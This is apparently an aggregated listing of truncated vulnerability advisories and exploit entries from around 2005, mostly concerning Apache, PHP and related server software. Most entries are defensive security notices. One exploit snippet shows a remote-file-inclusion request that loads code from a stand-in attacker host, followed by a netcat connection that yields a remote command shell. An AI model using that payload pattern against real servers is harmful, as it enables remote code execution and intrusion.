USN-239-1: libapache2-mod-auth-pgsql vulnerability

Several format string vulnerabilities were discovered in the error logging handling. By sending specially crafted user names, an unauthenticated remote attacker could exploit this to crash the Apache server or possibly even execute arbitrary code with the privileges of Apache user 'www-data'...

[Full-disclosure] [USN-239-1] libapache2-mod-auth-pgsql vulnerability

=========================================================== Ubuntu Security Notice USN-239-1 January 09, 2006 libapache2-mod-auth-pgsql vulnerability CVE-2005-3656 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 Warty...

HP Security Digests - HP-UX security bulletins digest

HP Support Information Digests =============================================================================== o Security Bulletin Digest Split ------------------------------ The security bulletins digest has been split into multiple digests based on the operating system HP-UX, MPE/iX, and HP...

DEBIAN-CVE-2005-2970

Memory leak in the worker MPM worker.c for Apache 2, in certain circumstances, allows remote attackers to cause a denial of service memory consumption via aborted connections, which prevents the memory for the transaction pool from being reused for other connections...

EUVD-2005-2970

Memory leak in the worker MPM worker.c for Apache 2, in certain circumstances, allows remote attackers to cause a denial of service memory consumption via aborted connections, which prevents the memory for the transaction pool from being reused for other connections...

PT-2005-3811 · Apache +1 · Apache Http Server +1

Name of the Vulnerable Software and Affected Versions: Apache 2 affected versions not specified Description: A memory leak in the worker MPM allows remote attackers to cause a denial of service memory consumption via aborted connections, which prevents the memory for the transaction pool from bei...

PT-2005-3395 · Python +5 · Python +5

Name of the Vulnerable Software and Affected Versions: PCRE versions prior to 6.2 Apache HTTP Server affected versions not specified Description: The issue is related to an integer overflow in the pcre compile.c file of the Perl Compatible Regular Expressions PCRE library, which can be exploited ...

[SA16287] Ragnarok Online Control Panel Authentication Bypass Vulnerability

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...

Ragnarok Online Control Panel 4.3.4 a - Authentication Bypass

source: https://www.securityfocus.com/bid/14429/info Ragnarok Online Control Panel ROCP is prone to a vulnerability that may let remote attackers bypass user authentication. This issue is related to how PHP variables are handled, letting an attacker influence a variable that is used to check user...

HP-UX Security patch : PHSS_27935

The remote host is missing HP-UX Security Patch number PHSS27935 . SSRT2332 rev.10 Apache Server Chunk Encoding %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; ifdescription scriptid17488;...

HP-UX Security patch : PHSS_27783

The remote host is missing HP-UX Security Patch number PHSS27783 . SSRT2332 rev.10 Apache Server Chunk Encoding %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; ifdescription scriptid17485;...

phpDEV5 - System-Call Local Denial of Service

phpDEV5 - System-Call Local Denial of Service ------------------------------------------------------------------------ PHPDev5 Target : PHPDev 5 URL : www.firepages.com.au - http://sourceforge.net/projects/phpdev5/ Type : PHP/Apache/MySQL Server.. .. PoC Sample : Save this code as .php or .php3...

phpDEV5 System-Call Local Denial of Service Exploit

No description provided by source. ------------------------------------------------------------------------ PHPDev5 == Apache Server Local Denial-of-Service PoC By : Ali7 e-mail : [email protected] date : 16-03-2k5 greetz : our group :P Target : PHPDev 5 URL : www.firepages.com.au -...

phpDEV5 System-Call Local Denial of Service Exploit

Exploit for unknown platform in category dos / poc =================================================== phpDEV5 System-Call Local Denial of Service Exploit =================================================== ------------------------------------------------------------------------ PHPDev5 Target :...

phpDEV5 - System-Call Local Denial of Service

------------------------------------------------------------------------ PHPDev5 Target : PHPDev 5 URL : www.firepages.com.au - http://sourceforge.net/projects/phpdev5/ Type : PHP/Apache/MySQL Server.. .. PoC Sample : Save this code as .php or .php3 file.. //start //end milw0rm.com 2005-03-17...

RHEL 2.1 / 3 : mailman (RHSA-2005:136)

Updated mailman packages that correct a mailman security issue are now available. The mailman package is software to help manage email discussion lists. A flaw in the truepath function of Mailman was discovered. A remote attacker who is a member of a private mailman list could use a carefully...

DEBIAN-CVE-2004-0811

Unknown vulnerability in Apache 2.0.51 prevents "the merging of the Satisfy directive," which could allow attackers to obtain access to restricted resources contrary to the specified authentication configuration...

PHP <= 4.3.7 openlog() Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================== PHP http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt BOOM.... netcat www.vulnerable.box 65535 Microsoft Windows 2000 versie 5.00.2195 C Copyright 1985-2000...

AppServ 2.5.x and Prior Exploit

what AppServ ========== AppServ is the Apache/PHP/MySQL open source software installer packages. Objective : - Easy to buid Webserver and Database Server - For those who just beginning client/server programming. - For web programmers/developers using PHP & MySQL. - For programming techniques that...

RHEL 3 : httpd (RHSA-2004:562)

Updated httpd packages that include fixes for two security issues, as well as other bugs, are now available. The Apache HTTP server is a powerful, full-featured, efficient, and freely-available Web server. An issue has been discovered in the modssl module when configured to use the 'SSLCipherSuit...